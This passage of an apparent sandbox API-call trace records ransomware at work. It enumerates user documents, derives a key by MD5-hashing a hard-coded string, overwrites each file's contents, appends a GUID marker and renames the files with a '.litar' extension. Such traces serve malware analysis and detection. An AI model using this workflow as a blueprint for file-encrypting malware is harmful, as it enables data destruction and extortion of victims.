| out: hHeap=0x5c0000) returned 1 [0126.645] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x1364b, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x1364b, lpOverlapped=0x0) returned 1 [0126.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.645] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13650, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.645] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.645] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.645] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.645] CloseHandle (hObject=0x624) returned 1 [0126.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.647] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\BR7Cji.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\twsd3\\br7cji.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\BR7Cji.doc.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\twsd3\\br7cji.doc.litar")) returned 1 [0126.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.647] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.648] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e3e340, ftCreationTime.dwHighDateTime=0x1d4cb4e, ftLastAccessTime.dwLowDateTime=0x5df84fb0, ftLastAccessTime.dwHighDateTime=0x1d4cadb, ftLastWriteTime.dwLowDateTime=0x5df84fb0, ftLastWriteTime.dwHighDateTime=0x1d4cadb, nFileSizeHigh=0x0, nFileSizeLow=0xb78b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DQcA9QRfBGkKr w6.docx", cAlternateFileName="DQCA9Q~1.DOC")) returned 1 [0126.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.648] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\DQcA9QRfBGkKr w6.docx") returned=".docx" [0126.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\DQcA9QRfBGkKr w6.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\twsd3\\dqca9qrfbgkkr w6.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.648] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=46987) returned 1 [0126.649] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.650] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb765, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.650] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.652] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.652] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xb78b, lpOverlapped=0x0) returned 1 [0126.653] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.653] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.653] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.653] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.654] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.654] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.654] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.654] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.654] GetLastError () returned 0x0 [0126.654] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.654] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb790) returned 0x30fa0b0 [0126.654] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.654] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xb786, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xb786, lpOverlapped=0x0) returned 1 [0126.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.654] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb78b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.655] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.655] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.655] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.655] CloseHandle (hObject=0x624) returned 1 [0126.656] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd068 [0126.656] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.656] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd068 | out: hHeap=0x5c0000) returned 1 [0126.656] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\DQcA9QRfBGkKr w6.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\twsd3\\dqca9qrfbgkkr w6.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\DQcA9QRfBGkKr w6.docx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\twsd3\\dqca9qrfbgkkr w6.docx.litar")) returned 1 [0126.656] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.656] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.657] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bbbc90, ftCreationTime.dwHighDateTime=0x1d4d562, ftLastAccessTime.dwLowDateTime=0x20dba6b0, ftLastAccessTime.dwHighDateTime=0x1d4ceb7, ftLastWriteTime.dwLowDateTime=0x20dba6b0, ftLastWriteTime.dwHighDateTime=0x1d4ceb7, nFileSizeHigh=0x0, nFileSizeLow=0x8ba4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WAQy.xlsx", cAlternateFileName="WAQY~1.XLS")) returned 1 [0126.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.657] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\WAQy.xlsx") returned=".xlsx" [0126.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\WAQy.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\twsd3\\waqy.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.658] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=35748) returned 1 [0126.658] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.660] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8b7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.660] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.661] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.661] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.661] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.661] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x8ba4, lpOverlapped=0x0) returned 1 [0126.662] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.662] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.662] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.662] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.663] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.663] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.663] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.663] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.663] GetLastError () returned 0x0 [0126.663] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.663] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8ba0) returned 0x30fa0b0 [0126.663] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.663] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x8b9f, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x8b9f, lpOverlapped=0x0) returned 1 [0126.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.663] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.664] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.664] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.664] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.664] CloseHandle (hObject=0x624) returned 1 [0126.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.665] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\WAQy.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\twsd3\\waqy.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\WAQy.xlsx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\twsd3\\waqy.xlsx.litar")) returned 1 [0126.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.665] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.666] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bbbc90, ftCreationTime.dwHighDateTime=0x1d4d562, ftLastAccessTime.dwLowDateTime=0x20dba6b0, ftLastAccessTime.dwHighDateTime=0x1d4ceb7, ftLastWriteTime.dwLowDateTime=0x20dba6b0, ftLastWriteTime.dwHighDateTime=0x1d4ceb7, nFileSizeHigh=0x0, nFileSizeLow=0x8ba4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WAQy.xlsx", cAlternateFileName="WAQY~1.XLS")) returned 0 [0126.666] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0126.667] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.667] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 